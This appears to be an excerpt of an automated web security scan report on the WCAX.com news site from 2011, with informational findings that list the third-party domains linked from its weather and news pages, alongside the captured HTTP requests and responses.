<link type="text/css" rel="stylesheet" media="all" href="http://WCAX.images.worldnow.com/interface/css/container-e.css?ver=2011-03-26%2003%3A55%3A56">
<!--[if lt IE 6]>
...[SNIP]...
<![endif]-->
<link rel="stylesheet" type="text/css" href="http://content.worldnow.com/global/interface/integration/jquery.fancybox-1.3.1.css" media="screen">
<!--MENU INCLUDES-->
<link rel="stylesheet" href="http://content.worldnow.com/global/interface/menu/menu.css?ver=201011111600" type="text/css"><style type="text/css">
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/menu/menu.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/integration/thirdparty.js?ver=201011111600"></script>
...[SNIP]...
<label for="WNSearchBox-headertop-google_cs">WEB SEARCH BY <img src='http://WCAX.images.worldnow.com/global/images/google/google-logo.gif' alt='Google' class='wnSearchBoxLabelImg-google'></label>
...[SNIP]...
<div id="WNBranding"><img id="WNBrandingImage" usemap="#wnBrandingMap" alt="" border="0" src="http://WCAX.images.worldnow.com/images/static/hdr/hdr_branding.jpg"><map name="wnBrandingMap">
...[SNIP]...
<a href="/Global/category.asp?C=18195"><img src="http://WCAX.images.worldnow.com/images/272499_G.gif" width="37" height="29" border="0" alt="Home WCAX.com" title="Home WCAX.com" onsrc="http://WCAX.images.worldnow.com/images/272500_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18197"><img src="http://WCAX.images.worldnow.com/images/272501_G.gif" width="34" height="29" border="0" alt="Local News" title="Local News" onsrc="http://WCAX.images.worldnow.com/images/272502_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18196"><img src="http://WCAX.images.worldnow.com/images/272503_G.gif" width="54" height="29" border="0" alt="Weather" title="Weather" onsrc="http://WCAX.images.worldnow.com/images/272504_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18198"><img src="http://WCAX.images.worldnow.com/images/272505_G.gif" width="43" height="29" border="0" alt="Sports" title="Sports" onsrc="http://WCAX.images.worldnow.com/images/272506_G.gif"></a>
...[SNIP]...
<a href="/Global/link.asp?L=408799"><img src="http://WCAX.images.worldnow.com/images/272508_G.gif" width="74" height="29" border="0" alt="WCAX Vermontopia Community Calendar" title="WCAX Vermontopia Community Calendar" onsrc="http://WCAX.images.worldnow.com/images/272509_G.gif"></a>
...[SNIP]...
<a href="javascript:OpenWin('http://www.vermontopia.com||height=768,width=1024,location=yes,resizable=yes,scrollbars=yes,toolbar=yes');"><img src="http://WCAX.images.worldnow.com/images/272510_G.gif" width="82" height="29" border="0" alt="Vermontopia.com" title="Vermontopia.com" onsrc="http://WCAX.images.worldnow.com/images/272511_G.gif"></a>
...[SNIP]...
<a href="/Global/link.asp?L=398823"><img src="http://WCAX.images.worldnow.com/images/272512_G.gif" width="74" height="29" border="0" alt="WCAX Promotions" title="WCAX Promotions" onsrc="http://WCAX.images.worldnow.com/images/272513_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=68446"><img src="http://WCAX.images.worldnow.com/images/272514_G.gif" width="54" height="29" border="0" alt="LIFESTYLE" title="LIFESTYLE" onsrc="http://WCAX.images.worldnow.com/images/272516_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18836"><img src="http://WCAX.images.worldnow.com/images/272517_G.gif" width="60" height="29" border="0" alt="Contact Us" title="Contact Us" onsrc="http://WCAX.images.worldnow.com/images/272518_G.gif"></a>
...[SNIP]...
<h2 id="WNContainerHeader"><img src="http://WCAX.images.worldnow.com/images/189321_CH.jpg" alt="" title="" border="0" width="325" class="wnImage wnImageCenter wnImageWidth-325">
</h2>
...[SNIP]...
<div><a href="http://www.addthis.com/bookmark.php?v=250&pub=xa-4a6f307d7c62c8a7"
onmouseover="return addthis_open(this, '', '?widgetId=' + addThisWNDynamicWidgetId, 'Slideshow')"
onmouseout="addthis_close()" onclick="return addthis_sendto()"><img src="http://s7.addthis.com/static/btn/sm-share-en.gif" width="83" height="16" alt="Bookmark and Share" style="border:0"/></a>
...[SNIP]...
</span> <img class="wnVideoIncluded" src="http://WCAX.images.worldnow.com/images/static/container-e/icon_video_included.gif" alt="Video included" border="0"></a>
...[SNIP]...
<a href="/Global/story.asp?S=13279741"><img src="http://WCAX.images.worldnow.com/images/13279741_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
</span> <img class="wnVideoIncluded" src="http://WCAX.images.worldnow.com/images/static/container-e/icon_video_included.gif" alt="Video included" border="0"></a>
...[SNIP]...
<a href="/Global/story.asp?S=12661178"><img src="http://WCAX.images.worldnow.com/images/12661178_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=12533287"><img src="http://WCAX.images.worldnow.com/images/12533287_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=12658085"><img src="http://WCAX.images.worldnow.com/images/12658085_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<div id="WNCopyright"><a href="http://www.worldnow.com" target="_blank"><img src="http://WCAX.images.worldnow.com/images/static/container-e/wn_powerby.gif" alt="Powered by WorldNow" border="0"></a>
...[SNIP]...
<noscript><img src="http://analytics.worldnow.com/dcsuhch2hzersfqyzf2de5tct_4d8l/njs.gif?dcsuri=/nojavascript&amp;WT.js=No&amp;WT.tv=8.0.0&amp;WT.sp=WCAX&amp;dcssip=www.wcax.com" name="DCSIMG" width="1" height="1" border="0" alt=""></noscript>
...[SNIP]...
<!--Page Include: BODY--><script type="text/javascript" src="http://tags.crwdcntrl.net/c/492/cc.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/global_zoom.js?ver=201011111600"></script>
...[SNIP]...
4.2. http://www.wcax.com/Global/category.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wcax.com
Path:   /Global/category.asp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /Global/category.asp?C=18196 HTTP/1.1
Host: www.wcax.com
Proxy-Connection: keep-alive
Referer: http://www.wcax.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ClientGroup=1; WT_FPC=id=20d5f21d8a4972ac84d1302352164716:lv=1302352164716:ss=1302352164716

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
WN: iis06
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
wn_vars: MEMORY
Content-Type: text/html; charset=utf-8
Cteonnt-Length: 74664
Cache-Control: private, max-age=116
Date: Sat, 09 Apr 2011 12:30:47 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 74664

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en-us"><head>
<META http-equiv="Content-Type" content="text/html">
<title>Weather -
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/analytics/sdctag.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/globals.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/jq.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/container-e/core.js?ver=201011111600"></script>
<script type="text/javascript" language="JavaScript1.3" src="http://content.worldnow.com/global/tools/video/VideoFunctions.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnadmanager.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnvideo.js?ver=201011111600"></script>
<link type="text/css" rel="stylesheet" media="all" href="http://content.worldnow.com/global/interface/container-e/core.css?ver=201011111600">
<link type="text/css" rel="stylesheet" media="all" href="http://WCAX.images.worldnow.com/interface/css/container-e.css?ver=2011-03-26%2003%3A55%3A56">
<!--[if lt IE 6]>
...[SNIP]...
<![endif]-->
<link rel="stylesheet" type="text/css" href="http://content.worldnow.com/global/interface/integration/jquery.fancybox-1.3.1.css" media="screen">
<!--MENU INCLUDES-->
<link rel="stylesheet" href="http://content.worldnow.com/global/interface/menu/menu.css?ver=201011111600" type="text/css"><style type="text/css">
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/menu/menu.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/integration/thirdparty.js?ver=201011111600"></script>
...[SNIP]...
<label for="WNSearchBox-headertop-google_cs">WEB SEARCH BY <img src='http://WCAX.images.worldnow.com/global/images/google/google-logo.gif' alt='Google' class='wnSearchBoxLabelImg-google'></label>
...[SNIP]...
<noscript><iframe id="WNLinksContent391987" name="WNLinksContent391987" class="wnLinksContentIframe" src="http://ftpcontent.worldnow.com/wcax/custom/branding_feature_i.html" width="100%" height="70" scrolling="no" frameborder="0" marginwidth="0" marginheight="0">[Your user agent does not support frames or is currently configured to not display frames. However, you may visit <a href="http://ftpcontent.worldnow.com/wcax/custom/branding_feature_i.html">the related document.</a>
...[SNIP]...
<!--END wnDS70-->
<img id="WNBrandingImage" usemap="#wnBrandingMap" alt="" border="0" onload="if (window.WNElement) WNElement.positionOver('WNDS70', 'WNBrandingImage', { horizontal : 'right', vertical : 'middle' });" src="http://WCAX.images.worldnow.com/images/static/hdr/hdr_branding.jpg"><map name="wnBrandingMap">
...[SNIP]...
<a href="/Global/category.asp?C=18195"><img src="http://WCAX.images.worldnow.com/images/272499_G.gif" width="37" height="29" border="0" alt="Home WCAX.com" title="Home WCAX.com" onsrc="http://WCAX.images.worldnow.com/images/272500_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18197"><img src="http://WCAX.images.worldnow.com/images/272501_G.gif" width="34" height="29" border="0" alt="Local News" title="Local News" onsrc="http://WCAX.images.worldnow.com/images/272502_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18196"><img src="http://WCAX.images.worldnow.com/images/272503_G.gif" width="54" height="29" border="0" alt="Weather" title="Weather" onsrc="http://WCAX.images.worldnow.com/images/272504_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18198"><img src="http://WCAX.images.worldnow.com/images/272505_G.gif" width="43" height="29" border="0" alt="Sports" title="Sports" onsrc="http://WCAX.images.worldnow.com/images/272506_G.gif"></a>
...[SNIP]...
<a href="/Global/link.asp?L=408799"><img src="http://WCAX.images.worldnow.com/images/272508_G.gif" width="74" height="29" border="0" alt="WCAX Vermontopia Community Calendar" title="WCAX Vermontopia Community Calendar" onsrc="http://WCAX.images.worldnow.com/images/272509_G.gif"></a>
...[SNIP]...
<a href="javascript:OpenWin('http://www.vermontopia.com||height=768,width=1024,location=yes,resizable=yes,scrollbars=yes,toolbar=yes');"><img src="http://WCAX.images.worldnow.com/images/272510_G.gif" width="82" height="29" border="0" alt="Vermontopia.com" title="Vermontopia.com" onsrc="http://WCAX.images.worldnow.com/images/272511_G.gif"></a>
...[SNIP]...
<a href="/Global/link.asp?L=398823"><img src="http://WCAX.images.worldnow.com/images/272512_G.gif" width="74" height="29" border="0" alt="WCAX Promotions" title="WCAX Promotions" onsrc="http://WCAX.images.worldnow.com/images/272513_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=68446"><img src="http://WCAX.images.worldnow.com/images/272514_G.gif" width="54" height="29" border="0" alt="LIFESTYLE" title="LIFESTYLE" onsrc="http://WCAX.images.worldnow.com/images/272516_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18836"><img src="http://WCAX.images.worldnow.com/images/272517_G.gif" width="60" height="29" border="0" alt="Contact Us" title="Contact Us" onsrc="http://WCAX.images.worldnow.com/images/272518_G.gif"></a>
...[SNIP]...
</div>

<script type="text/javascript" src="http://www.worldnow.com/global/interface/jq.js"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/httprequest/httprequest.js"></script>
...[SNIP]...
</h4><img src="http://WCAX.images.worldnow.com/images/38205_G.gif" alt="Today's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/38198_G.gif" alt="Saturday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/38202_G.gif" alt="Sunday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/38202_G.gif" alt="Monday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/38202_G.gif" alt="Tuesday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/38205_G.gif" alt="Wednesday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/static/gfx/wx_partlycloudy.gif" alt="Saturday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/static/gfx/wx_cloudy.gif" alt="Sunday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/static/gfx/wx_thunderstorms.gif" alt="Monday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/static/gfx/wx_sunny.gif" alt="Tuesday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/static/gfx/wx_sunny.gif" alt="Wednesday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/static/gfx/wx_partlycloudy.gif" alt="Saturday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/static/gfx/wx_rain.gif" alt="Sunday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/static/gfx/wx_thunderstorms.gif" alt="Monday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/static/gfx/wx_sunny.gif" alt="Tuesday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/static/gfx/wx_sunny.gif" alt="Wednesday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/static/gfx/wx_partlycloudy.gif" alt="Saturday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/static/gfx/wx_cloudy.gif" alt="Sunday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/static/gfx/wx_thunderstorms.gif" alt="Monday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/static/gfx/wx_rain.gif" alt="Tuesday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/static/gfx/wx_sunny.gif" alt="Wednesday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/static/gfx/wx_partlycloudy.gif" alt="Saturday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/static/gfx/wx_rain.gif" alt="Sunday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/static/gfx/wx_thunderstorms.gif" alt="Monday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/static/gfx/wx_sunny.gif" alt="Tuesday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/static/gfx/wx_sunny.gif" alt="Wednesday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/static/gfx/pxl_trans.gif" alt="Saturday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/static/gfx/wx_rain.gif" alt="Sunday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/static/gfx/wx_thunderstorms.gif" alt="Monday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/static/gfx/pxl_trans.gif" alt="Tuesday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/static/gfx/pxl_trans.gif" alt="Wednesday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/static/gfx/wx_partlycloudy.gif" alt="Saturday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/static/gfx/wx_rain.gif" alt="Sunday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/static/gfx/wx_thunderstorms.gif" alt="Monday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/static/gfx/wx_sunny.gif" alt="Tuesday's Forecast Image"><ul>
...[SNIP]...
</h5><img src="http://WCAX.images.worldnow.com/images/static/gfx/wx_sunny.gif" alt="Wednesday's Forecast Image"><ul>
...[SNIP]...
<div class="wnDVUtilityBlock"><A HREF="http://wcax.mycapture.com/mycapture/photos/Album.aspx?EventID=1072176&CategoryID=63494"
            TARGET="_blank"><IMG
           

SRC="http://blackpearl.wcax.com/graphics/wcax/weather-ad.jpg"

WIDTH="645"
            BORDER="0" ALT="Click to Go to the Campaign 2008 Page">
...[SNIP]...
<a href="http://www.wcax.com/Global/story.asp?S=6330547"><img class="col2_3_ql_icon" src="http://WCAX.images.worldnow.com/images/272308_G.gif" /></a>
...[SNIP]...
<a href="http://www.wcax.com/Global/link.asp?L=47952"><img class="col2_3_ql_icon" src="http://WCAX.images.worldnow.com/images/272310_G.gif" /></a>
...[SNIP]...
<a href="http://www.wcax.com/Global/category.asp?C=76533"><img class="col2_3_ql_icon" src="http://WCAX.images.worldnow.com/images/272314_G.gif" /></a>
...[SNIP]...
<a href="http://www.wcax.com/Global/category.asp?C=120654&nav=menu183_3_2"><img class="col2_3_ql_icon" src="http://WCAX.images.worldnow.com/images/272312_G.gif" /></a>
...[SNIP]...
<a href="http://www.wcax.com/Global/category.asp?C=80035&nav=menu183_3_4"><img class="col2_3_ql_icon" src="http://WCAX.images.worldnow.com/images/272315_G.gif" /></a>
...[SNIP]...
<a href="http://www.wcax.com/Global/link.asp?L=257090&nav=menu183_2_7"><img class="col2_3_ql_icon" src="http://WCAX.images.worldnow.com/images/272316_G.gif" /></a>
...[SNIP]...
<div style="float:left;">
                       <a href="http://www.511vt.org"><img class="col2_3_ql_icon" src="http://WCAX.images.worldnow.com/images/272318_G.gif" /></a>
...[SNIP]...
<div class="col2_3_ql_link_text">
                           <a title="Road Conditions" style="font:bold 8pt Arial,Verdana,San-serif; color:#666666; line-height:11px;" href="http://www.511vt.com">Road Conditions</a>
...[SNIP]...
<div style="float:left;">
                       <a href="http://www.wcax.worldnow.com/global/Category.asp?c=176269"><img class="col2_3_ql_icon" src="http://WCAX.images.worldnow.com/images/309858_G.gif" /></a>
...[SNIP]...
<a href="http://www.wcax.com/global/link.asp?L=445290"><img class="col2_3_ql_icon" src="http://WCAX.images.worldnow.com/images/272313_G.gif" /></a>
...[SNIP]...
<div style="float:left;">
                       <a href="http://twitter.com/wcaxweather"><img class="col2_3_ql_icon" src="http://WCAX.images.worldnow.com/images/272319_G.gif" /></a>
...[SNIP]...
<div class="col2_3_ql_link_text">
                           <a title="Twitter" style="font:bold 8pt Arial,Verdana,San-serif; color:#666666; line-height:11px;" href="http://twitter.com/wcaxweather">Twitter</a>
...[SNIP]...
<a title="Active Storm Warnings" href="http://www.wcax.com/Global/link.asp?L=394983"><img class="aw_img" src="http://wcax.images.worldnow.com/images/incoming/WEB_warnings.jpg" /></a>
...[SNIP]...
<div class="wnDVUtilityBlock"><iframe src="http://www.facebook.com/plugins/likebox.php?id=140859045441&amp;width=292&amp;connections=10&amp;stream=true&amp;header=true&amp;height=587" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:292px; height:587px;" allowTransparency="true"></iframe></div><div class="wnDVUtilityBlock"><script src="http://widgets.twimg.com/j/2/widget.js"></script>
...[SNIP]...
<div id="WNCopyright"><a href="http://www.worldnow.com" target="_blank"><img src="http://WCAX.images.worldnow.com/images/static/container-e/wn_powerby.gif" alt="Powered by WorldNow" border="0"></a>
...[SNIP]...
<noscript><img src="http://analytics.worldnow.com/dcsuhch2hzersfqyzf2de5tct_4d8l/njs.gif?dcsuri=/nojavascript&amp;WT.js=No&amp;WT.tv=8.0.0&amp;WT.sp=WCAX&amp;dcssip=www.wcax.com" name="DCSIMG" width="1" height="1" border="0" alt=""></noscript>
...[SNIP]...
<!--Page Include: BODY--><script type="text/javascript" src="http://tags.crwdcntrl.net/c/492/cc.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/global_zoom.js?ver=201011111600"></script>
...[SNIP]...
4.3. http://www.wcax.com/Global/category.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wcax.com
Path:   /Global/category.asp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /Global/category.asp?C=18963 HTTP/1.1
Host: www.wcax.com
Proxy-Connection: keep-alive
Referer: http://www.wcax.com/Global/category.asp?C=18836
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ClientGroup=1; __qca=P0-1094680209-1302352442492; WT_FPC=id=20d5f21d8a4972ac84d1302352164716:lv=1302352460288:ss=1302352164716

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
WN: IIS53
P3P: CP="CAO ADMa DEVa TAIa CONi OUR OTRi IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
wn_vars: CACHE_DB
Content-Type: text/html; charset=utf-8
ntCoent-Length: 60928
Cache-Control: private, max-age=299
Expires: Sat, 09 Apr 2011 12:40:22 GMT
Date: Sat, 09 Apr 2011 12:35:23 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 60928

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en-us"><head>
<META http-equiv="Content-Type" content="text/html">
<title>WCAX News
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/analytics/sdctag.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/globals.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/jq.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/container-e/core.js?ver=201011111600"></script>
<script type="text/javascript" language="JavaScript1.3" src="http://content.worldnow.com/global/tools/video/VideoFunctions.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnadmanager.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnvideo.js?ver=201011111600"></script>
<link type="text/css" rel="stylesheet" media="all" href="http://content.worldnow.com/global/interface/container-e/core.css?ver=201011111600">
<link type="text/css" rel="stylesheet" media="all" href="http://WCAX.images.worldnow.com/interface/css/container-e.css?ver=2011-03-26%2003%3A55%3A56">
<!--[if lt IE 6]>
...[SNIP]...
<![endif]-->
<link rel="stylesheet" type="text/css" href="http://content.worldnow.com/global/interface/integration/jquery.fancybox-1.3.1.css" media="screen">
<!--MENU INCLUDES-->
<link rel="stylesheet" href="http://content.worldnow.com/global/interface/menu/menu.css?ver=201011111600" type="text/css"><style type="text/css">
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/menu/menu.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/integration/thirdparty.js?ver=201011111600"></script>
...[SNIP]...
<label for="WNSearchBox-headertop-google_cs">WEB SEARCH BY <img src='http://WCAX.images.worldnow.com/global/images/google/google-logo.gif' alt='Google' class='wnSearchBoxLabelImg-google'></label>
...[SNIP]...
<noscript><iframe id="WNLinksContent391987" name="WNLinksContent391987" class="wnLinksContentIframe" src="http://ftpcontent.worldnow.com/wcax/custom/branding_feature_i.html" width="100%" height="70" scrolling="no" frameborder="0" marginwidth="0" marginheight="0">[Your user agent does not support frames or is currently configured to not display frames. However, you may visit <a href="http://ftpcontent.worldnow.com/wcax/custom/branding_feature_i.html">the related document.</a>
...[SNIP]...
<!--END wnDS70-->
<img id="WNBrandingImage" usemap="#wnBrandingMap" alt="" border="0" onload="if (window.WNElement) WNElement.positionOver('WNDS70', 'WNBrandingImage', { horizontal : 'right', vertical : 'middle' });" src="http://WCAX.images.worldnow.com/images/static/hdr/hdr_branding.jpg"><map name="wnBrandingMap">
...[SNIP]...
<a href="/Global/category.asp?C=18195"><img src="http://WCAX.images.worldnow.com/images/272499_G.gif" width="37" height="29" border="0" alt="Home WCAX.com" title="Home WCAX.com" onsrc="http://WCAX.images.worldnow.com/images/272500_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18197"><img src="http://WCAX.images.worldnow.com/images/272501_G.gif" width="34" height="29" border="0" alt="Local News" title="Local News" onsrc="http://WCAX.images.worldnow.com/images/272502_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18196"><img src="http://WCAX.images.worldnow.com/images/272503_G.gif" width="54" height="29" border="0" alt="Weather" title="Weather" onsrc="http://WCAX.images.worldnow.com/images/272504_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18198"><img src="http://WCAX.images.worldnow.com/images/272505_G.gif" width="43" height="29" border="0" alt="Sports" title="Sports" onsrc="http://WCAX.images.worldnow.com/images/272506_G.gif"></a>
...[SNIP]...
<a href="/Global/link.asp?L=408799"><img src="http://WCAX.images.worldnow.com/images/272508_G.gif" width="74" height="29" border="0" alt="WCAX Vermontopia Community Calendar" title="WCAX Vermontopia Community Calendar" onsrc="http://WCAX.images.worldnow.com/images/272509_G.gif"></a>
...[SNIP]...
<a href="javascript:OpenWin('http://www.vermontopia.com||height=768,width=1024,location=yes,resizable=yes,scrollbars=yes,toolbar=yes');"><img src="http://WCAX.images.worldnow.com/images/272510_G.gif" width="82" height="29" border="0" alt="Vermontopia.com" title="Vermontopia.com" onsrc="http://WCAX.images.worldnow.com/images/272511_G.gif"></a>
...[SNIP]...
<a href="/Global/link.asp?L=398823"><img src="http://WCAX.images.worldnow.com/images/272512_G.gif" width="74" height="29" border="0" alt="WCAX Promotions" title="WCAX Promotions" onsrc="http://WCAX.images.worldnow.com/images/272513_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=68446"><img src="http://WCAX.images.worldnow.com/images/272514_G.gif" width="54" height="29" border="0" alt="LIFESTYLE" title="LIFESTYLE" onsrc="http://WCAX.images.worldnow.com/images/272516_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18836"><img src="http://WCAX.images.worldnow.com/images/272517_G.gif" width="60" height="29" border="0" alt="Contact Us" title="Contact Us" onsrc="http://WCAX.images.worldnow.com/images/272518_G.gif"></a>
...[SNIP]...
<a href="/Global/story.asp?S=452838"><img src="http://WCAX.images.worldnow.com/images/452838_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=452767"><img src="http://WCAX.images.worldnow.com/images/452767_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=1755776"><img src="http://WCAX.images.worldnow.com/images/1755776_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=452737"><img src="http://WCAX.images.worldnow.com/images/452737_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=7415644"><img src="http://WCAX.images.worldnow.com/images/7415644_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=452787"><img src="http://WCAX.images.worldnow.com/images/452787_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=452936"><img src="http://WCAX.images.worldnow.com/images/452936_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=452752"><img src="http://WCAX.images.worldnow.com/images/452752_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=1048744"><img src="http://WCAX.images.worldnow.com/images/1048744_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=12839072"><img src="http://WCAX.images.worldnow.com/images/12839072_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=11921157"><img src="http://WCAX.images.worldnow.com/images/11921157_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=11522841"><img src="http://WCAX.images.worldnow.com/images/11522841_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=451691"><img src="http://WCAX.images.worldnow.com/images/451691_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
